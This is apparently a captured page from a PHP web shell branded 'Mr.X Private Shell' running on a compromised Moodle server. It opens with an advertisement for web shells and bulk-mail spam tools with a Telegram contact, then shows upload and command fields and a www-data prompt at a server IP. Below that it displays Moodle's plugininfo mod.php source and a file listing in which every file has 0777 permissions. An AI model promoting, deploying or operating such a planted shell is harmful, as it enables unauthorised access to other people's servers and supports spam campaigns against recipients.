__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Defines classes used for plugin info.
 *
 * @package    core
 * @copyright  2011 David Mudrak <david@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
namespace core\plugininfo;

use admin_settingpage;
use moodle_url;
use part_of_admin_tree;

/**
 * Class for activity modules
 */
class mod extends base {

    public static function plugintype_supports_disabling(): bool {
        return true;
    }

    /**
     * Finds all enabled plugins, the result may include missing plugins.
     * @return array|null of enabled plugins $pluginname=>$pluginname, null means unknown
     */
    public static function get_enabled_plugins() {
        global $DB;
        return $DB->get_records_menu('modules', array('visible'=>1), 'name ASC', 'name, name AS val');
    }

    public static function enable_plugin(string $pluginname, int $enabled): bool {
        global $DB;

        if (!$module = $DB->get_record('modules', ['name' => $pluginname])) {
            throw new \moodle_exception('moduledoesnotexist', 'error');
        }

        $haschanged = false;

        // Only set visibility if it's different from the current value.
        if ($module->visible != $enabled) {
            if ($enabled && component_callback_exists("mod_{$pluginname}", 'pre_enable_plugin_actions')) {
                // This callback may be used to perform actions that must be completed prior to enabling a plugin.
                // Example of this may include:
                // - making a configuration change
                // - adding an alert
                // - checking a pre-requisite
                //
                // If the return value is falsy, then the change will be prevented.
                if (!component_callback("mod_{$pluginname}", 'pre_enable_plugin_actions')) {
                    return false;
                }
            }
            // Set module visibility.
            $DB->set_field('modules', 'visible', $enabled, ['id' => $module->id]);
            $haschanged = true;

            if ($enabled) {
                // Revert the previous saved visible state for the course module.
                $DB->set_field('course_modules', 'visible', '1', ['visibleold' => 1, 'module' => $module->id]);

                // Increment course.cacherev for courses where we just made something visible.
                // This will force cache rebuilding on the next request.
                increment_revision_number('course', 'cacherev',
                    "id IN (SELECT DISTINCT course
                                       FROM {course_modules}
                                      WHERE visible = 1 AND module = ?)",
                    [$module->id]
                );
            } else {
                // Remember the visibility status in visibleold and hide.
                $sql = "UPDATE {course_modules}
                           SET visibleold = visible, visible = 0
                         WHERE module = ?";
                $DB->execute($sql, [$module->id]);
                // Increment course.cacherev for courses where we just made something invisible.
                // This will force cache rebuilding on the next request.
                increment_revision_number('course', 'cacherev',
                    'id IN (SELECT DISTINCT course
                                       FROM {course_modules}
                                      WHERE visibleold = 1 AND module = ?)',
                    [$module->id]
                );
            }

            // Include this information into config changes table.
            add_to_config_log('mod_visibility', $module->visible, $enabled, $pluginname);
            \core_plugin_manager::reset_caches();
        }

        return $haschanged;
    }

    /**
     * Magic method getter, redirects to read only values.
     *
     * For module plugins we pretend the object has 'visible' property for compatibility
     * with plugins developed for Moodle version below 2.4
     *
     * @param string $name
     * @return mixed
     */
    public function __get($name) {
        if ($name === 'visible') {
            debugging('This is now an instance of plugininfo_mod, please use $module->is_enabled() instead of $module->visible', DEBUG_DEVELOPER);
            return ($this->is_enabled() !== false);
        }
        return parent::__get($name);
    }

    public function init_display_name() {
        if (get_string_manager()->string_exists('pluginname', $this->component)) {
            $this->displayname = get_string('pluginname', $this->component);
        } else {
            $this->displayname = get_string('modulename', $this->component);
        }
    }

    public function get_settings_section_name() {
        return 'modsetting' . $this->name;
    }

    public function load_settings(part_of_admin_tree $adminroot, $parentnodename, $hassiteconfig) {
        global $CFG, $USER, $DB, $OUTPUT, $PAGE; // In case settings.php wants to refer to them.
        /** @var \admin_root $ADMIN */
        $ADMIN = $adminroot; // May be used in settings.php.
        $plugininfo = $this; // Also can be used inside settings.php.
        $module = $this;     // Also can be used inside settings.php.

        if (!$this->is_installed_and_upgraded()) {
            return;
        }

        if (!$hassiteconfig or !file_exists($this->full_path('settings.php'))) {
            return;
        }

        $section = $this->get_settings_section_name();

        $settings = new admin_settingpage($section, $this->displayname, 'moodle/site:config', $this->is_enabled() === false);
        include($this->full_path('settings.php')); // This may also set $settings to null.

        if ($settings) {
            $ADMIN->add($parentnodename, $settings);
        }
    }

    /**
     * Allow all activity modules but Forum to be uninstalled.
     *
     * This exception for the Forum has been hard-coded in Moodle since ages,
     * we may want to re-think it one day.
     */
    public function is_uninstall_allowed() {
        if ($this->name === 'forum') {
            return false;
        } else {
            return true;
        }
    }

    /**
     * Return URL used for management of plugins of this type.
     * @return moodle_url
     */
    public static function get_manage_url() {
        return new moodle_url('/admin/modules.php');
    }

    /**
     * Return warning with number of activities and number of affected courses.
     *
     * @return string
     */
    public function get_uninstall_extra_warning() {
        global $DB;

        if (!$module = $DB->get_record('modules', array('name'=>$this->name))) {
            return '';
        }

        if (!$count = $DB->count_records('course_modules', array('module'=>$module->id))) {
            return '';
        }

        $sql = "SELECT COUNT('x')
                  FROM (
                    SELECT course
                      FROM {course_modules}
                     WHERE module = :mid
                  GROUP BY course
                  ) c";
        $courses = $DB->count_records_sql($sql, array('mid'=>$module->id));

        return '<p>'.get_string('uninstallextraconfirmmod', 'core_plugin', array('instances'=>$count, 'courses'=>$courses)).'</p>';
    }

    /**
     * Pre-uninstall hook.
     *
     * This is intended for disabling of plugin, some DB table purging, etc.
     *
     * NOTE: to be called from uninstall_plugin() only.
     * @private
     */
    public function uninstall_cleanup() {
        global $DB, $CFG;

        if (!$module = $DB->get_record('modules', array('name' => $this->name))) {
            parent::uninstall_cleanup();
            return;
        }

        // Delete all the relevant instances from all course sections.
        if ($coursemods = $DB->get_records('course_modules', array('module' => $module->id))) {
            foreach ($coursemods as $coursemod) {
                // Do not verify results, there is not much we can do anyway.
                delete_mod_from_section($coursemod->id, $coursemod->section);
            }
        }

        // Increment course.cacherev for courses that used this module.
        // This will force cache rebuilding on the next request.
        increment_revision_number('course', 'cacherev',
            "id IN (SELECT DISTINCT course
                      FROM {course_modules}
                     WHERE module=?)",
            array($module->id));

        // Delete all the course module records.
        $DB->delete_records('course_modules', array('module' => $module->id));

        // Delete module contexts.
        if ($coursemods) {
            foreach ($coursemods as $coursemod) {
                \context_helper::delete_instance(CONTEXT_MODULE, $coursemod->id);
            }
        }

        // Delete the module entry itself.
        $DB->delete_records('modules', array('name' => $module->name));

        // Cleanup the gradebook.
        require_once($CFG->libdir.'/gradelib.php');
        grade_uninstalled_module($module->name);

        // Do not look for legacy $module->name . '_uninstall any more,
        // they should have migrated to db/uninstall.php by now.

        parent::uninstall_cleanup();
    }
}

Filemanager

Name Type Size Permission Actions
aiplacement.php File 6.33 KB 0777
aiprovider.php File 7.62 KB 0777
antivirus.php File 5.41 KB 0777
auth.php File 5.48 KB 0777
availability.php File 5.48 KB 0777
base.php File 24.47 KB 0777
block.php File 6.35 KB 0777
cachelock.php File 1.08 KB 0777
cachestore.php File 1.28 KB 0777
calendartype.php File 2.69 KB 0777
communication.php File 4.7 KB 0777
contenttype.php File 7.67 KB 0777
coursereport.php File 1.08 KB 0777
customfield.php File 5.04 KB 0777
dataformat.php File 7.09 KB 0777
editor.php File 6.72 KB 0777
enrol.php File 6.5 KB 0777
fileconverter.php File 6.27 KB 0777
filter.php File 6.45 KB 0777
format.php File 7.01 KB 0777
general.php File 1.11 KB 0777
gradeexport.php File 1.08 KB 0777
gradeimport.php File 1.08 KB 0777
gradereport.php File 1.08 KB 0777
gradingform.php File 2.29 KB 0777
h5plib.php File 2.63 KB 0777
local.php File 2.24 KB 0777
media.php File 9.26 KB 0777
message.php File 4.29 KB 0777
mlbackend.php File 2.87 KB 0777
mnetservice.php File 1.25 KB 0777
mod.php File 9.7 KB 0777
orphaned.php File 2.82 KB 0777
paygw.php File 5.22 KB 0777
plagiarism.php File 2.15 KB 0777
portfolio.php File 4.57 KB 0777
profilefield.php File 1.39 KB 0777
qbank.php File 5.65 KB 0777
qbehaviour.php File 4.71 KB 0777
qformat.php File 1.07 KB 0777
qtype.php File 5.3 KB 0777
report.php File 1.3 KB 0777
repository.php File 6.82 KB 0777
search.php File 1.56 KB 0777
smsgateway.php File 2.94 KB 0777
theme.php File 2.88 KB 0777
tool.php File 2.56 KB 0777
webservice.php File 4.08 KB 0777
Filemanager